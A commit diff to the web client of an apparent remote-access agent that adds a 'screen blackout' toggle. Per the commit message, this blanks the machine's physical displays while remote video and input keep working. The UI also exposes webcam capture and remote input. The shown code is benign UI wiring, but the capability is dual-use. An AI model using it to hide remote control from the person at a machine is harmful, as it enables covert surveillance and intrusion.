feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol

lib/agent/web/app.js

@@ -27,6 +27,7 @@
   const videoStop = document.getElementById("video-stop");
   const videoInteract = document.getElementById("video-interact");
   const videoKeyHint = document.getElementById("video-key-hint");
+  const videoBlackout = document.getElementById("video-blackout");
   const webcamCanvas = document.getElementById("webcam-canvas");
   const webcamMeta = document.getElementById("webcam-meta");
   const webcamDevice = document.getElementById("webcam-device");
@@ -680,7 +681,7 @@
     const width = bitmap.width;
     const height = bitmap.height;
     bitmap.close();
-    videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
+    videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
   }
 
   async function sendClick(event, button) {
@@ -737,6 +738,22 @@
     return false;
   }
 
+  async function loadBlackout() {
+    const res = await api("/api/v1/blackout");
+    const data = await res.json();
+    videoBlackout.checked = Boolean(data.enabled);
+  }
+
+  async function setBlackoutEnabled(enabled) {
+    const res = await api("/api/v1/blackout", {
+      method: "PUT",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ enabled }),
+    });
+    const data = await res.json();
+    videoBlackout.checked = Boolean(data.enabled);
+  }
+
   function setVideoTabActive(active) {
     if (videoTabActive === active) return;
     videoTabActive = active;
@@ -920,6 +937,9 @@
       document.getElementById(button.dataset.tab).classList.add("active");
       const onVideo = button.dataset.tab === "video";
       setVideoTabActive(onVideo);
+      if (onVideo) {
+        loadBlackout().catch((err) => showError(err.message));
+      }
       if (!onVideo) {
         stopVideo();
       }
@@ -1028,6 +1048,12 @@
     sendClick(event, "right").catch((err) => showError(err.message));
   });
   videoInteract.addEventListener("change", () => syncInteractable());
+  videoBlackout.addEventListener("change", () => {
+    setBlackoutEnabled(videoBlackout.checked).catch((err) => {
+      videoBlackout.checked = !videoBlackout.checked;
+      showError(err.message);
+    });
+  });
   document.querySelectorAll(".mod-btn").forEach((button) => {
     button.addEventListener("click", () => {
       if (!videoInteract.checked) return;